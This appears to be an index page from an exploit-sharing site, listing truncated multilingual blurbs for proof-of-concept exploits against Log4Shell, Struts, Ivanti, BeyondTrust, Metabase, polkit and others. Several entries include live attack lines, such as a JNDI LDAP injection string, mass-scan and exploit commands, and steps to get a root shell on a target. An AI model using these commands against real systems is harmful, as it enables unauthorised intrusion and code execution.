log4shell

Log4Shell 本项目演示了log4shell安全漏洞的工作原理。 该漏洞在CVE-2021-44228中有详细描述。 本项目仅用于教学目的。 只能在您自己的系统上使用，且仅用于实验目的。 任何执行操作的风险均由您自行承担。 作者对因执行本项目而导致的任何事故概不负责。 命令示例 root@kitploit: ldapserver=i-09cd4f41e5a2b1d66.eu-west-3.compute.internal:1389 hello '$jndi:ldap://'"$ldapserver"'/run=log4shell.Exploit' hello...

S2-062

S2-062 Escaneo masivo y explotación de vulnerabilidades CVE-2021-31805/s2-062 Cumpla con las leyes y regulaciones; está prohibido atacar sistemas de sitios web sin autorización Instrucciones de uso Modo de escaneo masivo root@kitploit: python3 CVE-2021-31805.py -m scan -f 123.txt Modo de ejecució...

CVE-2021-44529

CVE-2021-44529 CVE-2021-44529 Ivanti EPM 云服务设备 CSA 中的代码注入漏洞允许未经身份验证的用户以有限的权限（nobody）执行任意代码。...

CVE-2026-1731

CVE-2026-1731 Blind RCE PoC 影響を受けるバージョン: Privileged Remote Access : = 24.3.4 Remote Support : = 25.3.1 詳細については、attackerkb.com による分析を読むことをお勧めします。 ビルド方法 この PoC をビルドするには、以下のツールが必要です: Git、rust 1. リポジトリをクローンします root@kitploit: git clone https://github.com/jakubie07/CVE-2026-1731.git 2. ディレクトリに移動してビルドしま...

CVE-2021-44529

CVE-2021-44529 ベンダーホームページ: https://www.ivanti.com/ ソフトウェアリンク: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 バージョン: CSA 4.6 4.5 - 2021年8月にEOF 実行 root@kitploit: python3 exploit.py 例 root@kitploit: python3 exploit.py 'https://x.x.x.x' 'ls' LDMGdeploy.pdf LDSupport.e...

CVE-2026-1731

BeyondTrust CVE-2026-1731 扫描器 用于检测 BeyondTrust Remote Support / Privileged Remote Access 暴露情况的专业 Python 扫描器。 开发者：issam junior Telegram：https://t.me/arabhackerzgroup CVE-2026-1731 — BeyondTrust 远程代码执行漏洞 CVE-2026-1731 是一个影响 BeyondTrust Privileged Remote Access PRA 和 Remote Support RS 解决方案的严重远程代码执行...

ICS-MoxieManager-FileUpload-PoC

ICS-MoxieManager-RCE-CVE-2026-30-03 CVE-2026-30-03 9.8（重大）Jenzabar ICS + MoxieManager でRCEの可能性 proff https://www.youtube.com/watch?v=lcfUL6Xx3f4&feature=youtu.be CVE CVSS 影響 影響を受ける製品 CVE-2026-30-03 9.8（重大） RCEの可能性 Jenzabar ICS + MoxieManager Jenzabar ICS システムで使用される MoxieManager...

CVE-2026-1457

CVE-2026-1457：TP-Link VIGI C385 认证远程代码执行漏洞 概述 CVE-2026-1457 是 TP-Link VIGI C385 V1 网络 API 中的一个认证缓冲区溢出漏洞。该漏洞允许已认证的攻击者执行远程代码执行（RCE）。 CVSS v4.0 评分：8.5（高危） CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 受影响产品 产品型号| 受影响版本 ---|--- VIGI C385 V1| 3.1.1 Build 251124 Rel.50371n 漏洞详情 漏洞位置...

CVE-2026-3844

CVE-2026-3844 — Breeze Cache RCE 認証不要の任意ファイルアップロード → リモートコード実行...

cve-2026-21962

CVE-2026-21962 — URI正規化によるパストラバーサルEoP / RCE 発見者: gregk4sec https://github.com/gregk4sec/cve 発見日: 2025-09-24 影響を受けるベンダー: Oracle 影響を受ける製品: Oracle OHS / WebLogic Server Proxy Plug-in for Apache HTTP Server、WebLogic Server Proxy Plug-in for IIS 深刻度: Critical / CVSS 10.0 CVSSv3.1ベーススコア: 10.0 CVSSベクター:...

CVE-2026-33725

CVE-2026-33725 CVE-2026-33725の概念実証エクスプロイト。MetabaseのEEシリアライゼーションインポートにおけるH2 JDBC INITインジェクションを介したリモートコード実行および任意ファイル読み取りです。 影響を受けるバージョン Metabase Enterprise ≥ v1.47 かつ v1.54.22 Metabase Enterprise ≥ v1.54.0 かつ v1.54.22 Metabase Enterprise ≥ v1.55.0 かつ v1.55.22 Metabase Enterprise ≥ v1.56.0 かつ v1.56....

CVE-2026-20841-PoC

CVE-2026-20841-PoC CVE-2026-20841 の概念実証（Proof of Concept） CVE-2026-20841 – 詳細 CVE-2026-20841 は、Microsoft メモ帳（Notepad）に影響する脆弱性であり、特別に細工された入力によって意図しないコマンド実行が引き起こされる可能性があります。...

GravCMS_Nmap_Script

GravCMSNmapScript GravCMSの脆弱性（CVE-2021-21425）を検出するためのnmapスクリプトです。 使用方法 -- nmap -p443 --script gravcms.nse -- PORT STATE SERVICE -- 443/tcp open https -- | gravcms: -- | VULNERABLE: -- | GravCMS CVE-2021-21425 -- | State: VULNERABLE Exploitable -- | IDs: CVE:CVE-2021-21425 -- | GravCMS...

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 Confluence RCE CVE-2023-22527 - Confluence Data CenterおよびConfluence ServerにおけるRCE（リモートコード実行）脆弱性 PoC 参考情報 CVE-2023-22527 - Confluence Data CenterおよびConfluence ServerにおけるRCE（リモートコード実行）脆弱性 | Atlassianサポート | Atlassianドキュメント CONFSERVER-93833 Confluence Data...

CVE-2021-4034_POC

CVE-2021-4034 - 概念実証 この POC は、 GLib の gprinterr を悪用し、GCONVPATH 環境変数の注入を通じてコード実行を実現します。 エクスプロイトの実行 エクスプロイトの tarball ファイルを作成します: root@kitploit: make tar 次に、生成された tar を何らかの方法でターゲットマシンに転送し、コンパイルして脆弱性を実行します: root@kitploit: make ./poc このエクスプロイトは、root として /bin/sh を実行しようとします。 関連資料 このエクスプロイトの基となったブログ記事...

CVE-2026-0848-PoC-Improper-Input-Validation

CVE-2026-0848 - NLTK StanfordSegmenter RCE PoC ⚠️ 警告 このコードはシステム上で任意のコマンドを実行します。隔離された仮想マシンまたはコンテナでのみ使用してください。 説明 CVE-2026-0848 の機能する PoC。悪意のある JAR ファイルが NLTK によって読み込まれたときに任意のコードを実行できることを実証します。 要件 Python 3.8+ Java JDK 8+（ペイロードのコンパイル用） NLTK 3.9.2（自動的にインストールされます） インストールと実行 root@kitploit: クローン git clon...

slippy-book-exploit

Slippy-book: EPUBファイル解析におけるディレクトリトラバーサルによるリモートコード実行 CVE-2023-44451 Xreader、CVE-2023-52076Atril予約済み: Mint、Kali、Parrot、Manjaroなどを含む人気のLinuxディストリビューションに影響するRCE脆弱性。EPUBファイル解析におけるディレクトリトラバーサルによるリモートコード実行 LinuxのMATE/およびLinux Mintのデフォルトドキュメントビューアソフトウェアに、重大なパストラバーサルおよび任意ファイル書き込みの脆弱性が発見されました。これは、Kali...

CVE-2026-23744-POC

説明 この脆弱性は、MCPJam Inspectorがデバッグおよび開発用に設計された内部APIエンドポイントを公開しているために存在します。これらのエンドポイントはユーザーが制御する入力を受け入れ、適切な検証やサニタイズを行わずに、それをシステムレベルのプロセス実行に直接渡します。 脆弱なエンドポイント（/api/mcp/connect）に細工したリクエストを送信することで、攻撃者はserverConfigオブジェクトを制御し、ホスト上で実行される任意のコマンドを指定できます。...

CVE-2021-45010-TinyFileManager-Exploit

CVE-2021-45010 CVE-2021-45010: Tiny File Manager Project の Tiny File Manager = 2.4.3 における tinyfilemanager.php のファイルアップロード機能のパストラバーサル（ディレクトリトラバーサル）の脆弱性により、有効なユーザーアカウントを持つリモートの攻撃者が悪意のある PHP ファイルをウェブルートにアップロードし、対象サーバー上でコード実行を達成できる可能性があります。...

CVE-2021-46398_Chamilo-LMS-RCE

CVE-2021-46398 Chamilo-LMS 1.11.14 RCE Chamilo LMS v1.11.14には、細工されたプラグインを介して攻撃者が任意のコードを実行できるようにするゼロクリックコードインジェクションの脆弱性が存在することが発見されました。この脆弱性は、攻撃者のプロフィールページとのユーザー操作を通じてトリガーされます。 ワンクリック手法: 学生アカウントを持つ攻撃者は、悪意のあるWebページまたは悪意のあるSVG画像ファイルを作成し、そのファイルを学生プロフィールページの「My...